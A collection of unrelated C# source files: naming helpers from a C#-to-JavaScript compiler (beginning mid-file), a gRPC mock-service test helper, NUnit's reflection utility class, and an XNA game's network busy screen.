if (type.IsAnonymousType) return type.GetTypeName(); // @todo refactor so the two typename methods share most of the code if (type is INamedTypeSymbol) { return type.MetadataName.Replace('`', '$'); } else if (type is IArrayTypeSymbol) { var arrayType = (IArrayTypeSymbol)type; return arrayType.ElementType.Name + "$1"; } else if (type is ITypeParameterSymbol) { var typeParameter = (ITypeParameterSymbol)type; return typeParameter.Name; } else { throw new Exception(); } } private static int anonymousTypeNameCounter = 1; private static Dictionary<ITypeSymbol, string> anonymousTypeNames = new Dictionary<ITypeSymbol, string>(); public static string GetTypeName(this ITypeSymbol type) { var nameOverride = type.GetAttributeValue<string>(Context.Instance.JsAttributeType, "Name"); if (nameOverride != null) return nameOverride; if (type.IsAnonymousType) { string name; if (!anonymousTypeNames.TryGetValue(type, out name)) { var index = anonymousTypeNameCounter++; name = type.ContainingAssembly.GetAssemblyAnonymousTypesArray() + "[" + index + "]"; anonymousTypeNames[type] = name; } return name; } var namedTypeSymbol = type as INamedTypeSymbol; if (namedTypeSymbol != null) { var result = GetTypeName(type.GetFullName()).Replace('`', '$'); return result; } else if (type is IArrayTypeSymbol) { var arrayType = (IArrayTypeSymbol)type; return GetTypeName(arrayType.ElementType) + "$1"; } else if (type is ITypeParameterSymbol) { var typeParameter = (ITypeParameterSymbol)type; return typeParameter.Name; } else { throw new Exception(); } } public static string GetTypeName(string typeName) { return typeName;//typeName.Replace(".", "$"); } public static string GetDefaultConstructorName(this INamedTypeSymbol type) { return type.InstanceConstructors.Single(x => x.Parameters.Count() == 0).GetMemberName(); } public static string MaskSpecialCharacters(this string s) { return s.Replace('.', '$').Replace('<', '$').Replace('>', '$').Replace(',', '$'); } public static string GetMemberName(this IMethodSymbol method) { var nameOverride = method.GetAttributeValue<string>(Context.Instance.JsAttributeType, "Name"); if (nameOverride != null) return nameOverride; if (method.ReducedFrom != null) method = method.ReducedFrom; if (!Equals(method.ConstructedFrom, method)) method = method.ConstructedFrom; var baseMethodName = method.MethodKind == MethodKind.Constructor ? "$ctor" : method.Name.Replace('.', '$'); if (method.ContainingType.TypeKind == TypeKind.Interface) { baseMethodName = method.ContainingType.GetTypeName().MaskSpecialCharacters() + "$" + baseMethodName; } baseMethodName = baseMethodName.MaskSpecialCharacters(); var overloads = method.MethodKind == MethodKind.Constructor ? method.ContainingType.InstanceConstructors.ToList() : method.ContainingType .GetAllMembers(method.Name) .OfType<IMethodSymbol>() // De-dup overrides from overloads, since we only want one name for a given override chain. .Where(x => x.OverriddenMethod == null).ToList(); if (overloads.Count == 1 || (method.MethodKind == MethodKind.Constructor && !method.Parameters.Any())) { return baseMethodName; } else { // Sort overloads based on a constant algorithm where overloads from base types overloads.Sort((x, y) => { var xIsExported = x.DeclaredAccessibility == Accessibility.Protected || x.DeclaredAccessibility == Accessibility.ProtectedAndInternal || x.DeclaredAccessibility == Accessibility.ProtectedOrInternal || x.DeclaredAccessibility == Accessibility.Public; var yIsExported = y.DeclaredAccessibility == Accessibility.Protected || y.DeclaredAccessibility == Accessibility.ProtectedAndInternal || y.DeclaredAccessibility == Accessibility.ProtectedOrInternal || y.DeclaredAccessibility == Accessibility.Public; if (xIsExported != yIsExported) return xIsExported ? -1 : 1; else if (x.ContainingType.IsSubclassOf(y.ContainingType)) return 1; else if (y.ContainingType.IsSubclassOf(x.ContainingType)) return -1; else { var xMethod = x; var yMethod = y; if (xMethod.TypeParameters.Count() > yMethod.TypeParameters.Count()) return 1; else if (xMethod.TypeParameters.Count() < yMethod.TypeParameters.Count()) return -1; else { if (xMethod.Parameters.Count() > yMethod.Parameters.Count()) return 1; else if (xMethod.Parameters.Count() < yMethod.Parameters.Count()) return -1; else { if (xMethod.ExplicitInterfaceImplementations.Count() > yMethod.ExplicitInterfaceImplementations.Count()) return 1; else if (xMethod.ExplicitInterfaceImplementations.Count() < yMethod.ExplicitInterfaceImplementations.Count()) return -1; else { for (var i = 0; i < xMethod.Parameters.Count(); i++) { var xParameter = xMethod.Parameters[i]; var yParameter = yMethod.Parameters[i]; var result = string.Compare(xParameter.Type.ToString(), yParameter.Type.ToString(), StringComparison.Ordinal); if (result != 0) return result; } } } } return string.Compare(x.ContainingType.ToString(), y.ContainingType.ToString(), StringComparison.Ordinal); } }); var indexOf = overloads.IndexOf(method.GetRootOverride()); if (indexOf == -1) throw new Exception(); if (indexOf == 0) return baseMethodName; // If a type starts out with only one method, it will not have any $ suffix. That means the first instance of an overload/override will always be naked. else return baseMethodName + "$" + indexOf; } } public static string GetMemberName(this IPropertySymbol symbol) { var nameOverride = symbol.GetAttributeValue<string>(Context.Instance.JsAttributeType, "Name"); if (nameOverride != null) return nameOverride; var baseMethodName = symbol.Name.MaskSpecialCharacters(); if (baseMethodName == "this[]") return "Item"; if (symbol.ContainingType.TypeKind == TypeKind.Interface) { baseMethodName = symbol.ContainingType.GetTypeName().MaskSpecialCharacters() + "$" + baseMethodName; } return baseMethodName; // return EscapeIfReservedWord(GetDefaultMemberName(symbol)); } public static string GetMemberName(this IFieldSymbol symbol) { var nameOverride = symbol.GetAttributeValue<string>(Context.Instance.JsAttributeType, "Name"); if (nameOverride != null) return EscapeIfReservedWord(nameOverride); return EscapeIfReservedWord(GetDefaultMemberName(symbol)); } public static string GetMemberName(this IEventSymbol symbol) { var nameOverride = symbol.GetAttributeValue<string>(Context.Instance.JsAttributeType, "Name"); if (nameOverride != null) return nameOverride; return GetDefaultMemberName(symbol); } private static string GetDefaultMemberName(ISymbol symbol) { var baseCount = symbol.ContainingType.GetBaseMemberNameCount(symbol.Name); if (baseCount == 0) return symbol.Name; else return symbol.Name + "$" + (baseCount + 1); } public static string GetBackingFieldName(this IEventSymbol eventSymbol) { return "$" + eventSymbol.GetMemberName() + "$k__BackingField"; } public static string GetBackingFieldName(this IPropertySymbol propertySymbol) { return "$" + propertySymbol.GetMemberName() + "$k__BackingField"; } public static string GetAssemblyMethodName(this IAssemblySymbol assembly) { return "window.$" + assembly.Name.MaskSpecialCharacters() + "$GetAssembly"; } public static string GetAssemblyTypesArray(this IAssemblySymbol assembly) { return "$" + assembly.Name.MaskSpecialCharacters() + SpecialNames.AssemblyTypesArray; } public static string GetAssemblyAnonymousTypesArray(this IAssemblySymbol assembly) { return "$" + assembly.Name.MaskSpecialCharacters() + "$AnonymousTypes"; } private static HashSet<string> javascriptReservedWords = new HashSet<string>(new[] { "break", "default", "function", "return", "var", "case", "delete", "if", "switch", "void", "catch", "do", "in", "this", "while", "const", "else", "instanceof", "throw", "with", "continue", "finally", "let", "try", "debugger", "for", "new", "typeof" }); public static bool IsJavascriptReservedWord(string s) { return javascriptReservedWords.Contains(s); } public static string EscapeIfReservedWord(string s) { if (s.StartsWith("@")) s = s.Substring(1); if (IsJavascriptReservedWord(s)) return "$" + s; else return s; } } }
#region Copyright notice and license // Copyright 2015, Google Inc. // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #endregion using System; using System.Diagnostics; using System.Linq; using System.Threading; using System.Threading.Tasks; using Grpc.Core; using Grpc.Core.Internal; using Grpc.Core.Utils; using NUnit.Framework; namespace Grpc.Core.Tests { /// <summary> /// Allows setting up a mock service in the client-server tests easily. /// </summary> public class MockServiceHelper { public const string ServiceName = "tests.Test"; public static readonly Method<string, string> UnaryMethod = new Method<string, string>( MethodType.Unary, ServiceName, "Unary", Marshallers.StringMarshaller, Marshallers.StringMarshaller); public static readonly Method<string, string> ClientStreamingMethod = new Method<string, string>( MethodType.ClientStreaming, ServiceName, "ClientStreaming", Marshallers.StringMarshaller, Marshallers.StringMarshaller); public static readonly Method<string, string> ServerStreamingMethod = new Method<string, string>( MethodType.ServerStreaming, ServiceName, "ServerStreaming", Marshallers.StringMarshaller, Marshallers.StringMarshaller); public static readonly Method<string, string> DuplexStreamingMethod = new Method<string, string>( MethodType.DuplexStreaming, ServiceName, "DuplexStreaming", Marshallers.StringMarshaller, Marshallers.StringMarshaller); readonly string host; readonly ServerServiceDefinition serviceDefinition; UnaryServerMethod<string, string> unaryHandler; ClientStreamingServerMethod<string, string> clientStreamingHandler; ServerStreamingServerMethod<string, string> serverStreamingHandler; DuplexStreamingServerMethod<string, string> duplexStreamingHandler; Server server; Channel channel; public MockServiceHelper(string host = null) { this.host = host ?? "localhost"; serviceDefinition = ServerServiceDefinition.CreateBuilder(ServiceName) .AddMethod(UnaryMethod, (request, context) => unaryHandler(request, context)) .AddMethod(ClientStreamingMethod, (requestStream, context) => clientStreamingHandler(requestStream, context)) .AddMethod(ServerStreamingMethod, (request, responseStream, context) => serverStreamingHandler(request, responseStream, context)) .AddMethod(DuplexStreamingMethod, (requestStream, responseStream, context) => duplexStreamingHandler(requestStream, responseStream, context)) .Build(); var defaultStatus = new Status(StatusCode.Unknown, "Default mock implementation. Please provide your own."); unaryHandler = new UnaryServerMethod<string, string>(async (request, context) => { context.Status = defaultStatus; return ""; }); clientStreamingHandler = new ClientStreamingServerMethod<string, string>(async (requestStream, context) => { context.Status = defaultStatus; return ""; }); serverStreamingHandler = new ServerStreamingServerMethod<string, string>(async (request, responseStream, context) => { context.Status = defaultStatus; }); duplexStreamingHandler = new DuplexStreamingServerMethod<string, string>(async (requestStream, responseStream, context) => { context.Status = defaultStatus; }); } /// <summary> /// Returns the default server for this service and creates one if not yet created. /// </summary> public Server GetServer() { if (server == null) { server = new Server { Services = { serviceDefinition }, Ports = { { Host, ServerPort.PickUnused, ServerCredentials.Insecure } } }; } return server; } /// <summary> /// Returns the default channel for this service and creates one if not yet created. /// </summary> public Channel GetChannel() { if (channel == null) { channel = new Channel(Host, GetServer().Ports.Single().BoundPort, Credentials.Insecure); } return channel; } public CallInvocationDetails<string, string> CreateUnaryCall(CallOptions options = default(CallOptions)) { return new CallInvocationDetails<string, string>(channel, UnaryMethod, options); } public CallInvocationDetails<string, string> CreateClientStreamingCall(CallOptions options = default(CallOptions)) { return new CallInvocationDetails<string, string>(channel, ClientStreamingMethod, options); } public CallInvocationDetails<string, string> CreateServerStreamingCall(CallOptions options = default(CallOptions)) { return new CallInvocationDetails<string, string>(channel, ServerStreamingMethod, options); } public CallInvocationDetails<string, string> CreateDuplexStreamingCall(CallOptions options = default(CallOptions)) { return new CallInvocationDetails<string, string>(channel, DuplexStreamingMethod, options); } public string Host { get { return this.host; } } public ServerServiceDefinition ServiceDefinition { get { return this.serviceDefinition; } } public UnaryServerMethod<string, string> UnaryHandler { get { return this.unaryHandler; } set { unaryHandler = value; } } public ClientStreamingServerMethod<string, string> ClientStreamingHandler { get { return this.clientStreamingHandler; } set { clientStreamingHandler = value; } } public ServerStreamingServerMethod<string, string> ServerStreamingHandler { get { return this.serverStreamingHandler; } set { serverStreamingHandler = value; } } public DuplexStreamingServerMethod<string, string> DuplexStreamingHandler { get { return this.duplexStreamingHandler; } set { duplexStreamingHandler = value; } } } }
// *********************************************************************** // Copyright (c) 2007 Charlie Poole // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // *********************************************************************** using System; using System.Collections.Generic; using System.Reflection; #if true #endif namespace NUnit.Framework.Internal { /// <summary> /// Helper methods for inspecting a type by reflection. /// /// Many of these methods take ICustomAttributeProvider as an /// argument to avoid duplication, even though certain attributes can /// only appear on specific types of members, like MethodInfo or Type. /// /// In the case where a type is being examined for the presence of /// an attribute, interface or named member, the Reflect methods /// operate with the full name of the member being sought. This /// removes the necessity of the caller having a reference to the /// assembly that defines the item being sought and allows the /// NUnit core to inspect assemblies that reference an older /// version of the NUnit framework. /// </summary> public class Reflect { private static readonly BindingFlags AllMembers = BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static | BindingFlags.FlattenHierarchy; // A zero-length Type array - not provided by System.Type for all CLR versions we support. private static readonly Type[] EmptyTypes = new Type[0]; #region Get Methods of a type /// <summary> /// Examine a fixture type and return an array of methods having a /// particular attribute. The array is order with base methods first. /// </summary> /// <param name="fixtureType">The type to examine</param> /// <param name="attributeType">The attribute Type to look for</param> /// <param name="inherit">Specifies whether to search the fixture type inheritance chain</param> /// <returns>The array of methods found</returns> public static MethodInfo[] GetMethodsWithAttribute(Type fixtureType, Type attributeType, bool inherit) { MethodInfoList list = new MethodInfoList(); foreach (MethodInfo method in fixtureType.GetMethods(AllMembers)) { if (method.IsDefined(attributeType, inherit)) list.Add(method); } list.Sort(new BaseTypesFirstComparer()); return list.ToArray(); } #if true private class BaseTypesFirstComparer : IComparer<MethodInfo> { public int Compare(MethodInfo m1, MethodInfo m2) { if (m1 == null || m2 == null) return 0; Type m1Type = m1.DeclaringType; Type m2Type = m2.DeclaringType; if ( m1Type == m2Type ) return 0; if ( m1Type.IsAssignableFrom(m2Type) ) return -1; return 1; } } #else private class BaseTypesFirstComparer : IComparer { public int Compare(object x, object y) { MethodInfo m1 = x as MethodInfo; MethodInfo m2 = y as MethodInfo; if (m1 == null || m2 == null) return 0; Type m1Type = m1.DeclaringType; Type m2Type = m2.DeclaringType; if (m1Type == m2Type) return 0; if (m1Type.IsAssignableFrom(m2Type)) return -1; return 1; } } #endif /// <summary> /// Examine a fixture type and return true if it has a method with /// a particular attribute. /// </summary> /// <param name="fixtureType">The type to examine</param> /// <param name="attributeType">The attribute Type to look for</param> /// <param name="inherit">Specifies whether to search the fixture type inheritance chain</param> /// <returns>True if found, otherwise false</returns> public static bool HasMethodWithAttribute(Type fixtureType, Type attributeType, bool inherit) { foreach (MethodInfo method in fixtureType.GetMethods(AllMembers)) { if (method.IsDefined(attributeType, inherit)) return true; } return false; } #endregion #region Invoke Constructors /// <summary> /// Invoke the default constructor on a Type /// </summary> /// <param name="type">The Type to be constructed</param> /// <returns>An instance of the Type</returns> public static object Construct(Type type) { ConstructorInfo ctor = type.GetConstructor(EmptyTypes); if (ctor == null) throw new InvalidTestFixtureException(type.FullName + " does not have a default constructor"); return ctor.Invoke(null); } /// <summary> /// Invoke a constructor on a Type with arguments /// </summary> /// <param name="type">The Type to be constructed</param> /// <param name="arguments">Arguments to the constructor</param> /// <returns>An instance of the Type</returns> public static object Construct(Type type, object[] arguments) { if (arguments == null) return Construct(type); Type[] argTypes = GetTypeArray(arguments); ConstructorInfo ctor = type.GetConstructor(argTypes); if (ctor == null) throw new InvalidTestFixtureException(type.FullName + " does not have a suitable constructor"); return ctor.Invoke(arguments); } /// <summary> /// Returns an array of types from an array of objects. /// Used because the compact framework doesn't support /// Type.GetTypeArray() /// </summary> /// <param name="objects">An array of objects</param> /// <returns>An array of Types</returns> private static Type[] GetTypeArray(object[] objects) { Type[] types = new Type[objects.Length]; int index = 0; foreach (object o in objects) types[index++] = o.GetType(); return types; } #endregion #region Invoke Methods /// <summary> /// Invoke a parameterless method returning void on an object. /// </summary> /// <param name="method">A MethodInfo for the method to be invoked</param> /// <param name="fixture">The object on which to invoke the method</param> public static object InvokeMethod( MethodInfo method, object fixture ) { return InvokeMethod( method, fixture, null ); } /// <summary> /// Invoke a method, converting any TargetInvocationException to an NUnitException. /// </summary> /// <param name="method">A MethodInfo for the method to be invoked</param> /// <param name="fixture">The object on which to invoke the method</param> /// <param name="args">The argument list for the method</param> /// <returns>The return value from the invoked method</returns> public static object InvokeMethod( MethodInfo method, object fixture, params object[] args ) { if(method != null) { try { return method.Invoke( fixture, args ); } catch(Exception e) { if (e is TargetInvocationException) throw new NUnitException("Rethrown", e.InnerException); else throw new NUnitException("Rethrown", e); } } return null; } #endregion #region Private Constructor for static-only class private Reflect() { } #endregion #if true class MethodInfoList : List<MethodInfo> { } #else class MethodInfoList : ArrayList { public new MethodInfo[] ToArray() { return (MethodInfo[])base.ToArray(typeof(MethodInfo)); } } #endif } }
#region File Description //----------------------------------------------------------------------------- // NetworkBusyScreen.cs // // Microsoft XNA Community Game Platform // Copyright (C) Microsoft Corporation. All rights reserved. //----------------------------------------------------------------------------- #endregion #region Using Statements using System; using Microsoft.Xna.Framework; using Microsoft.Xna.Framework.Content; using Microsoft.Xna.Framework.Graphics; #endregion namespace NetRumble { /// <summary> /// When an asynchronous network operation (for instance searching for or joining a /// session) is in progress, we want to display some sort of busy indicator to let /// the user know the game hasn't just locked up. We also want to make sure they /// can't pick some other menu option before the current operation has finished. /// This screen takes care of both requirements in a single stroke. It monitors /// the IAsyncResult returned by an asynchronous network call, displaying a busy /// indicator for as long as the call is still in progress. When it notices the /// IAsyncResult has completed, it raises an event to let the game know it should /// proceed to the next step, after which the busy screen automatically goes away. /// Because this screen is on top of all others for as long as the asynchronous /// operation is in progress, it automatically takes over all user input, /// preventing any other menu entries being selected until the operation completes. /// </summary> /// <remarks>Based on a class in the Network Game State Management sample.</remarks> class NetworkBusyScreen : GameScreen { #region Constants const float busyTextureScale = 0.8f; #endregion #region Fields /// <summary> /// The message displayed in the screen. /// </summary> string message; /// <summary> /// The async result polled by the screen. /// </summary> IAsyncResult asyncResult; /// <summary> /// The rotating "activity" texture in the screen. /// </summary> Texture2D busyTexture; #endregion #region Events public event EventHandler<OperationCompletedEventArgs> OperationCompleted; #endregion #region Initialization /// <summary> /// Constructs a network busy screen for the specified asynchronous operation. /// </summary> public NetworkBusyScreen(string message, IAsyncResult asyncResult) { this.message = message; this.asyncResult = asyncResult; IsPopup = true; TransitionOnTime = TimeSpan.FromSeconds(0.1); TransitionOffTime = TimeSpan.FromSeconds(0.2); } /// <summary> /// Loads graphics content for this screen. This uses the shared ContentManager /// provided by the Game class, so the content will remain loaded forever. /// Whenever a subsequent NetworkBusyScreen tries to load this same content, /// it will just get back another reference to the already loaded data. /// </summary> public override void LoadContent() { ContentManager content = ScreenManager.Game.Content; busyTexture = content.Load<Texture2D>("Textures/chatTalking"); } #endregion #region Update and Draw /// <summary> /// Updates the NetworkBusyScreen. /// </summary> public override void Update(GameTime gameTime, bool otherScreenHasFocus, bool coveredByOtherScreen) { base.Update(gameTime, otherScreenHasFocus, coveredByOtherScreen); // Has our asynchronous operation completed? if ((asyncResult != null) && asyncResult.IsCompleted) { // If so, raise the OperationCompleted event. if (OperationCompleted != null) { OperationCompleted(this, new OperationCompletedEventArgs(asyncResult)); } ExitScreen(); asyncResult = null; } } /// <summary> /// Draws the NetworkBusyScreen. /// </summary> public override void Draw(GameTime gameTime) { SpriteBatch spriteBatch = ScreenManager.SpriteBatch; SpriteFont font = ScreenManager.Font; const int hPad = 32; const int vPad = 16; // Center the message text in the viewport. Viewport viewport = ScreenManager.GraphicsDevice.Viewport; Vector2 viewportSize = new Vector2(viewport.Width, viewport.Height); Vector2 textSize = font.MeasureString(message); // Add enough room to spin a texture. Vector2 busyTextureSize = new Vector2(busyTexture.Width * busyTextureScale); Vector2 busyTextureOrigin = new Vector2(busyTexture.Width / 2, busyTexture.Height / 2); textSize.X = Math.Max(textSize.X, busyTextureSize.X); textSize.Y += busyTextureSize.Y + vPad; Vector2 textPosition = (viewportSize - textSize) / 2; // The background includes a border somewhat larger than the text itself. Rectangle backgroundRectangle = new Rectangle((int)textPosition.X - hPad, (int)textPosition.Y - vPad, (int)textSize.X + hPad * 2, (int)textSize.Y + vPad * 2); // Fade the popup alpha during transitions. Color color = new Color(255, 255, 255, TransitionAlpha); // Draw the background rectangle. Rectangle backgroundRectangle2 = new Rectangle(backgroundRectangle.X - 1, backgroundRectangle.Y - 1, backgroundRectangle.Width + 2, backgroundRectangle.Height + 2); ScreenManager.DrawRectangle(backgroundRectangle2, new Color(128, 128, 128, (byte)(192.0f * (float)TransitionAlpha / 255.0f))); ScreenManager.DrawRectangle(backgroundRectangle, new Color(0, 0, 0, (byte)(232.0f * (float)TransitionAlpha / 255.0f))); spriteBatch.Begin(); // Draw the message box text. spriteBatch.DrawString(font, message, textPosition, color); // Draw the spinning cat progress indicator. float busyTextureRotation = (float)gameTime.TotalGameTime.TotalSeconds * 3; Vector2 busyTexturePosition = new Vector2(textPosition.X + textSize.X / 2, textPosition.Y + textSize.Y - busyTextureSize.Y / 2); spriteBatch.Draw(busyTexture, busyTexturePosition, null, color, busyTextureRotation, busyTextureOrigin, busyTextureScale, SpriteEffects.None, 0); spriteBatch.End(); } #endregion } }